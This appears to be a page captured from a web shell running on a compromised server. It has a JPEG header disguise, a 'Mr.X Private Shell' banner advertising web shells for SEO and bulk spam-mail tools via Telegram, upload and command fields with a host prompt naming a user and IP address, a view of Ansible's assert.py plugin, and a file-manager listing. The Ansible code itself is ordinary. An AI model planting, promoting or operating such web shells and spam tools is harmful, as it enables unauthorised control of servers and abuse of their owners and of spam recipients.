����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright 2012, Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.playbook.conditional import Conditional
from ansible.plugins.action import ActionBase
from ansible.module_utils.six import string_types
from ansible.module_utils.parsing.convert_bool import boolean


class ActionModule(ActionBase):
    ''' Fail with custom message '''

    TRANSFERS_FILES = False
    _VALID_ARGS = frozenset(('fail_msg', 'msg', 'quiet', 'success_msg', 'that'))

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)
        del tmp  # tmp no longer has any effect

        if 'that' not in self._task.args:
            raise AnsibleError('conditional required in "that" string')

        fail_msg = None
        success_msg = None

        fail_msg = self._task.args.get('fail_msg', self._task.args.get('msg'))
        if fail_msg is None:
            fail_msg = 'Assertion failed'
        elif isinstance(fail_msg, list):
            if not all(isinstance(x, string_types) for x in fail_msg):
                raise AnsibleError('Type of one of the elements in fail_msg or msg list is not string type')
        elif not isinstance(fail_msg, (string_types, list)):
            raise AnsibleError('Incorrect type for fail_msg or msg, expected a string or list and got %s' % type(fail_msg))

        success_msg = self._task.args.get('success_msg')
        if success_msg is None:
            success_msg = 'All assertions passed'
        elif isinstance(success_msg, list):
            if not all(isinstance(x, string_types) for x in success_msg):
                raise AnsibleError('Type of one of the elements in success_msg list is not string type')
        elif not isinstance(success_msg, (string_types, list)):
            raise AnsibleError('Incorrect type for success_msg, expected a string or list and got %s' % type(success_msg))

        quiet = boolean(self._task.args.get('quiet', False), strict=False)

        # directly access 'that' via untemplated args from the task so we can intelligently trust embedded
        # templates and preserve the original inputs/locations for better messaging on assert failures and
        # errors.
        # FIXME: even in devel, things like `that: item` don't always work properly (truthy string value
        # is not really an embedded expression)
        # we could fix that by doing direct var lookups on the inputs
        # FIXME: some form of this code should probably be shared between debug, assert, and
        # Task.post_validate, since they
        # have a lot of overlapping needs
        try:
            thats = self._task.untemplated_args['that']
        except KeyError:
            # in the case of "we got our entire args dict from a template", we can just consult the
            # post-templated dict (the damage has likely already been done for embedded templates anyway)
            thats = self._task.args['that']

        # FIXME: this is a case where we only want to resolve indirections, NOT recurse containers
        # (and even then, the leaf-most expression being wrapped is at least suboptimal
        # (since its expression will be "eaten").
        if isinstance(thats, str):
            thats = self._templar.template(thats)

        # make sure the 'that' items are a list
        if not isinstance(thats, list):
            thats = [thats]

        # Now we iterate over the that items, temporarily assigning them
        # to the task's when value so we can evaluate the conditional using
        # the built in evaluate function. The when has already been evaluated
        # by this point, and is not used again, so we don't care about mangling
        # that value now
        cond = Conditional(loader=self._loader)
        if not quiet:
            result['_ansible_verbose_always'] = True

        for that in thats:
            cond.when = [that]
            test_result = cond.evaluate_conditional(templar=self._templar, all_vars=task_vars)
            if not test_result:
                result['failed'] = True
                result['evaluated_to'] = test_result
                result['assertion'] = that

                result['msg'] = fail_msg

                return result

        result['changed'] = False
        result['msg'] = success_msg
        return result

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 67.24 KB 0644
add_host.py File 3.58 KB 0644
assemble.py File 6.42 KB 0644
assert.py File 5.03 KB 0644
async_status.py File 1.78 KB 0644
command.py File 1.13 KB 0644
copy.py File 26.72 KB 0644
debug.py File 3.28 KB 0644
fail.py File 1.44 KB 0644
fetch.py File 9.64 KB 0644
gather_facts.py File 6.55 KB 0644
group_by.py File 1.87 KB 0644
include_vars.py File 11.19 KB 0644
normal.py File 2.39 KB 0644
package.py File 4.13 KB 0644
pause.py File 11.31 KB 0644
raw.py File 1.78 KB 0644
reboot.py File 20.59 KB 0644
script.py File 7.8 KB 0644
service.py File 4.51 KB 0644
set_fact.py File 2.75 KB 0644
set_stats.py File 2.82 KB 0644
shell.py File 1.22 KB 0644
template.py File 9.74 KB 0644
unarchive.py File 4.78 KB 0644
uri.py File 3.96 KB 0644
validate_argument_spec.py File 3.98 KB 0644
wait_for_connection.py File 4.47 KB 0644
yum.py File 4.6 KB 0644